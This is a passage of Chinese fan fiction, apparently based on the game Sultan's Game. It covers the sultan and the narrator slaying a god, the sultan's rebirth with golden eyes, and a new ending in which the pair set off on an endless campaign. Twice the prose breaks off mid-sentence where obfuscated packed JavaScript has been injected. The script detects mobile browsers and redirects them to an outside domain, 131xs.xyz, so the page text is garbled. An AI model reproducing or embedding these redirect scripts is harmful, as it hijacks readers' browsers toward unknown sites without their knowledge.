“朕对日出更加期待了。”他说，咯哒一声，他把刀柄丢回珍宝架上，“到那座塔里去吧，阿尔图，完成你的使命——我至少答允了你一次的并肩作战。” 10. 弑神者 【注：*标记段落为文案原文，有删节。】 红日在金色的沙丘上升起，朝阳的辉光点亮了王城。在日出的一刻，主祭点亮了通天的高塔。伴随着万千信徒虔诚的祝祷，纯净之神的真意在世间显现，祂的神躯也亲自降临。 但祂带来的并非福音，而是毁灭的宣言。每个地面上的生灵都听到了那宏伟的声音：神要清算众生的过失了，而芸芸众生积压出的累累罪行是如此恶劣，如此污浊，只能用彻底的毁灭来偿还。 所有人都陷入了恐惧之中。无论男女老幼，高低贵贱，每个人都落下泪水。就在这绝望的时刻，你吹响了反抗的号角声。众生何罪之有？异域的君王怎敢杀伤苏丹的子民？高高在上的天使有什么资格裁判地上生灵的罪业？如果神灵对世间的教谕只有毁灭，那凡人必将以卑劣的欲望殊死抗争。 地面与天空的对战正式打响了。苏丹踏步向前，冲向那高空降落下来的身影。他早已等得不耐烦了！你紧跟上前，追上那张扬的背影，听见他在狂风和烈焰中快乐的命令：“*爱卿，拿稳你手里的剑！*” 杀至神的脚下本身就是一场艰巨的恶战。你们躲过从天国投掷下来的雷霆，战胜拦路的天使，穿翻阅滚动着惩戒之刃的阶梯，又穿越笼罩圣域的火海，终于来到神座的面前。 所有追随者都无法更进一步，唯有王者与圣徒能与神对决。此刻，这是只属于你们的战斗。 *祂的身躯应当是无敌的，但作为祂降临的使者，你亦知晓了祂的弱点……首先是苏丹用那华丽的剑舞在祂的身上划下无数的伤痕，因为这是祂想要进入世界时流露出的欲望。而你用长□□伤了祂的右眼，因为这正是祂觊觎人间的傲慢眼光。* *这份战果当然有代价，苏丹浑身绽放出无数的伤口，而你则被血泪侵蚀了双眼。但无须看见，无须言语，听到苏丹疯狂的战吼的同时，你心有灵犀一般，向毁灭之神投出了武器：引导它的并非筋肉与武艺，而是你与祂相同的执念，那不惜破坏世界也要胜利的疯狂……这份罪业的链接，驱使着你的攻击贯穿了神明的胸膛——与此同时……苏丹的双刃也切开了祂的咽喉……你的君主和你一道犯下了开天辟地以来前所未有的重罪，同谋弑杀了一位参与创造世界的伟大存在……* 这本该是个极其恐怖的时刻，因为业报即将到来。但苏丹放声大笑。你理解他。他从未这么快乐过，他的决心，他的勇武，他那凭借凡人之躯震动天地的渴欲，从未如此发挥到极致。当他坐在尘世果壳般的小小宫殿中时，这一切何尝有一次得到满足呢？你的王抓住那被砍下头颅的神的残躯，如同一名骄傲的猎手，残酷地啜饮涌动的金血。你知道他毫不后悔——就像你一样。 在这即将被净化的一刻，所有争执，所有思虑，所有俗世的隔阂都被抛到了脑后。苏丹的双眼与你对视，他咧嘴笑了。然后他的手伸向你，把你拽向他身侧。 隔着泼洒着血液倾倒的神躯，就着这沾染滔天罪业的金血，他吻了你的嘴唇。 *** *无限的光，无限的罪。业报就要结算了，那是毁灭之神最后的惩罚。破碎的声音响起，仿佛无数张苏丹卡同时被折断的声音……与你灵魂紧紧相连的某个东西断裂了。你所结算的成果，超出了它所能计量，所能容纳的极限……* 你看到女术士在明光的风暴中灰飞烟灭，你看到自己的躯壳在高热中失去生机，你看到苏丹的灵魂脱离他的肉身，上面重重交错的恶行如金箔般剥落，即将被洗刷成彻底的空白…… 一股力量出现了。是天上群星的声音，不是它们的祝福，而是它们的诅咒。它们齐声诵唱古老星灵的谕令：只要你们的灵魂存在，罪行就将与此缠绕，无法进行任何削减。 另一股力量出现了，是时空之龙的烈焰，不是它的庇佑，而是它的恶意。它瓮声重复牺牲者的留言：龙以憎恨灼烧过的躯体，不会解脱任何灵魂。 又有一股力量出现了，是已经死去的神祇的血。那共饮下的一口金血在你身体深处灼烧。残酷地碾平你浑身的创伤，强行鼓动你本应停止的心跳，更深地融入这凡人的身体…… 你发出不似人声的尖叫，隐约听见苏丹同样痛苦的嘶吼——随后巨大的爆炸袭来，毁灭的白光淹没了一切。 *** 你自黑暗中睁开眼睛。 通天的高塔已经随降临的神躯一同溃散，狂风把你抛弃在某个遥远的沙丘。掌下的沙砾滚烫，而划过面颊的风是寒冷的——夜幕低垂，群星在头顶闪耀。距离那场大战，已经过去一个，或好多个白昼了。 身上的伤口都在不知何时愈合了。你抹去面孔上的细沙，向远方眺望。起伏的沙丘之下，能看见有明亮灯火的城池。你离那座生活过，战斗过，毁灭过也捍卫过的王城并不远。在夜风中，你听见了人群喧嚣的声音。有人在呼唤，有人在呻吟，有人齐心协力地喊起推动柱石的号角。那是你所熟悉的人民，他们仍在收拾这场大战的余波。 你的视力似乎在战斗中受到了损害，这使你无法清楚地观察面前的东西。但当你更努力地远眺时，你的神识仿佛能飞跃这遥远的沙丘，望见更多的景象。你看见梅姬为伤者系上绷带，在无人处独自垂泪；你看见鲁梅拉在施粥的营帐帮工，与乞儿柔声交谈；你看见奈费勒站在尘土飞扬的高塔残骸下，与焦头烂额的宰相高声争吵……另外，你看到同样在这群星之下，距你几尺之外的黄沙中，有一副熟悉的强健躯体，正缓缓从混沌中醒来。 一时间，你有些畏惧自己将会看到的东西。毁灭之神最后的怒吼仍在耳畔，你会看到一具失去思想的躯壳吗？ 苏丹抬起头，他的面孔上闪过短暂的迷茫，但很快被冷静的观察替代。他碰一下沙地就弹起了身，行动和以往一样矫健优雅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993273|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。显然，灵魂仍然在那具完美的躯壳之中。璀璨星光照亮他凌乱额发下的双眸。有一会儿，你怀疑是自己看错了。但当那注视转向你时，你只得承认这令人恐惧又极其壮丽的现实。 他的眼睛变成了金色。 是因为承受了星神不得超脱的诅咒？还是因为穿越了巨龙勾连时空的烈火？又或者因为他曾那样大笑着畅饮创世者迸发的神血？无论如何，与神的战斗没能净化他的灵魂，反而重塑了他的肉身。这位高傲的帝王已经不再是凡人了。 这难道就是王者的命运吗？所有残暴的杀戮、不知餍足的征服和傲慢至天穹的僭越，没能将他摧毁，反而使他更加强大。 君王熔金般的双眼与你对视。他敏锐地发现了自己内在的变化，开始探索自己的力量尺度。他转折手腕，扭动脚踝，挥拳时带动风的尖啸，在眨眼的时间从平地跃升至最高处的沙丘。他甩开吹乱的长发，目光望向了脚下的城池。 神国的故事已经结束，人间的故事再次开始。你注视着他的侧影，沉默地伸手确认了身上的装备。 *** 俗世所赋予的一切外物都已在最后的战斗中抹平，只剩下最朴素的衣装。你肩后没有了黄金的长弓，怀中失却镶嵌龙眼的匕首，苏丹的手上也不见了啜饮神血的利刃。但你腰间仍悬着箭袋，里面其余的羽箭都遭熔毁，只留一支缠绕着黑气的箭矢。 它轻得像一片羽毛，却重得连灭世的飓风都无法吹走。它仍存在。因为它不是力量，而是诅咒，那上面密密麻麻的刻字是一份如影随形的提醒。它是你，与被你推上神坛的君主，共同负罪的证明。 下一步会怎样？苏丹会重新君临他的王国吗？那人间国度中的一切都如此不堪一击。以他如今的力量，他能造成的恐惧将会是曾经的百倍、千倍。 你可以对抗他。当然并非易事，但你也已凭借神战而跻身超凡。如果你决心和他战斗，你们可以像最亲密的仇人那样互相撕咬到世界尽头。 他会如何选择呢？ “休息得差不多了吧。”苏丹开口说，他最后伸展腰肢，抖去肩背上的沙砾，“可以动身了。” “去哪里，陛下？” “总之不是这里。”他轻飘飘地说，伸手丈量了远处的王城，在视角的错觉下，这大陆上最宏伟的城池像一个发光的纸盒，托在他宽大的掌心，“你说得对，阿尔图卿，这嘈杂的小花园配不上朕。过于无趣了。” “确实如此，陛下。”你真心实意地说。 “卿提过很多新奇的猎物，知道怎么找到它们吗？” “为您，当然可以。” “那就带路吧，爱卿。”苏丹翻转手掌，把那小小的城池剪影抛到身后。他沿着星光照亮的沙丘向你走来，一位开启崭新征途的君主，眸中闪动辉煌的金光。 “动作快一点，朕的耐心十分有限。” 11. 新结局·直至天际的远征 你和你的君主踏上了无止境的征途。 讨伐的目标各式各样，暴风中的史前怪兽，雪原上的嗜血幽影，深渊里诞生的恶魔领主，神战时未能湮灭的创世残魂……目标要足够新奇，足以消磨你们无尽的时光；也要足够正确，足以偿还你们曾为人世带来的灾厄。 有时，你们剑指人间的恶徒与暴君。你的君主对简单的挑战不屑一顾，为了挑起他的兴趣，你得把与之相关的故事讲得一波三折。当然，这对你来说不在话下，你可是这一行的大师啊。 也有时，你们遭到无情的报复。纯净之神已经死去，它的影响却从未彻底消散。何况你们紧接着又招惹了更多强大的目标、与更多神秘的存在结仇！但这些战斗都是征伐的一部分，你们不介意因此增加伤痕。 还有些时候，你和苏丹产生分歧。你们高声争吵，彼此攻击，甚至有几次分道扬镳。但最终，你们仍然共同走在这疯狂的旅途上。你不断为他选取合宜的征伐目标，而他一次又一次对你所指的方向拔剑。 *** 你们离开之后，奈费勒主持收拾了残局。在所有传奇和神话的光环下，他所用的手段相当狡猾。首先，他宣称苏丹和你走上了新的伟大征途（这倒也没错），将在未来的某一天光荣地归来（这是胡言乱语）。接着，他说由于王座暂时空虚，朝中事务应当由具有资质的大臣们投票决定。当你再次听说他们的消息时，故国已经成为一个议会制的国家，拥有定期选拔的人民代表和一名只在祭祀时起作用的国王。他们废除了奴隶制，建立了国家大学，支持女性参政，培养了无数优秀的科学家和艺术家。而根据奈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993274|178048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 费勒留下的遗作，他说的他的很多想法来自于你的启发。 第一次从陌生的旅人口中听到这个说法时，因为驿站外的阳光太强，你敏感的眼睛落泪不止。苏丹从不放过以此嘲讽你的时机。 这是你梦想中要建立过的国家，但你满足于从遥远的方向眺望它。毕竟，你身上肩负着另一个无人替代的使命，为你的君主执起他的旗帜。挑战了一个神灵，还有更多在深空等待。铲除了一个恶魔，还有更多从深渊爬出。如果你无法正确地指引他，这永不停歇的生命力又将涌向何方呢？ 到底是你驯服了他，还是他驯服了你？这个问题曾经在你的脑海中浮现，又很快消失了。无论如何，每当君主迈出冲锋的步伐，你不由自主地投向他，像旌旗投向剑，又像飞蛾投向火。 END